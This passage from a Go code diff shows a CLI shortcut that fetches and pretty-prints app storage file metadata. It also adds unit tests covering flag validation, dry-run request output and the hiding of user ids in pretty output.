func buildFileGetParams(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
path, _ := requireFilePath(rctx.Str("path"))
|
||||
return map[string]interface{}{"path": path}
|
||||
}
|
||||
|
||||
// renderFileGetPretty 输出对齐 key/value;uploaded_by 只展示 name(id 仅 json 保留)。
|
||||
func renderFileGetPretty(w io.Writer, info fileInfo) {
|
||||
pairs := [][2]string{
|
||||
{"file_name", dashIfEmpty(info.FileName)},
|
||||
{"path", info.Path},
|
||||
{"size", fileSizeDetail(info.SizeBytes)},
|
||||
{"type", dashIfEmpty(info.Type)},
|
||||
}
|
||||
if info.UploadedBy != nil {
|
||||
pairs = append(pairs, [2]string{"uploaded_by", info.UploadedBy.Name})
|
||||
}
|
||||
pairs = append(pairs, [2]string{"uploaded_at", dashIfEmpty(info.UploadedAt)})
|
||||
if info.DownloadURL != "" {
|
||||
pairs = append(pairs, [2]string{"download_url", info.DownloadURL})
|
||||
}
|
||||
renderKeyValuePairs(w, pairs)
|
||||
}
|
||||
89
shortcuts/apps/apps_file_get_test.go
Normal file
89
shortcuts/apps/apps_file_get_test.go
Normal file
@@ -0,0 +1,89 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
const fileGetURL = "/open-apis/spark/v1/apps/app_x/storage/file"
|
||||
|
||||
// TestAppsFileGet_RequiresAppIDAndPath 验证空白 --app-id 与空白 --path 分别触发对应的 typed 校验错误。
|
||||
func TestAppsFileGet_RequiresAppIDAndPath(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsFileGet,
|
||||
[]string{"+file-get", "--app-id", " ", "--path", "/x.png", "--as", "user"}, factory, stdout)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("err = %T %v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if ve.Param != "--app-id" {
|
||||
t.Fatalf("Param = %q, want --app-id", ve.Param)
|
||||
}
|
||||
factory2, stdout2, _ := newAppsExecuteFactory(t)
|
||||
err2 := runAppsShortcut(t, AppsFileGet,
|
||||
[]string{"+file-get", "--app-id", "app_x", "--path", " ", "--as", "user"}, factory2, stdout2)
|
||||
var ve2 *errs.ValidationError
|
||||
if !errors.As(err2, &ve2) {
|
||||
t.Fatalf("err = %T %v, want *errs.ValidationError", err2, err2)
|
||||
}
|
||||
if ve2.Param != "--path" {
|
||||
t.Fatalf("Param = %q, want --path", ve2.Param)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsFileGet_DryRunSendsPathQuery 验证 dry-run 输出 GET file,path 作为 query 参数下发。
|
||||
func TestAppsFileGet_DryRunSendsPathQuery(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsFileGet,
|
||||
[]string{"+file-get", "--app-id", "app_x", "--path", "/x.png", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Params map[string]interface{} `json:"params"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
if env.API[0].Method != "GET" || env.API[0].URL != fileGetURL || env.API[0].Params["path"] != "/x.png" {
|
||||
t.Fatalf("dry-run = %s %s params=%v", env.API[0].Method, env.API[0].URL, env.API[0].Params)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsFileGet_SuccessAndPrettyKeyValue 验证 pretty key/value 展示 size 含 bytes、uploaded_by 只显示 name 且不泄漏 user id。
|
||||
func TestAppsFileGet_SuccessAndPrettyKeyValue(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: fileGetURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
"file_name": "logo.png", "path": "/1858537546760216.png",
|
||||
"size_bytes": 24580, "type": "image/png",
|
||||
"created_at": "2026-04-15T10:30:00Z",
|
||||
"created_by": `{"id":"7311","name":"alice"}`,
|
||||
}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsFileGet,
|
||||
[]string{"+file-get", "--app-id", "app_x", "--path", "/1858537546760216.png", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
// pretty key/value:size 含 bytes、uploaded_by 只展示 name。
|
||||
for _, want := range []string{"file_name:", "24 KB (24580 bytes)", "uploaded_by: alice", "uploaded_at: 2026-04-15T10:30:00Z"} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("pretty missing %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
// pretty 不该泄漏 user id。
|
||||
if strings.Contains(got, "7311") {
|
||||
t.Errorf("pretty should show name only, not id:\n%s", got)
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user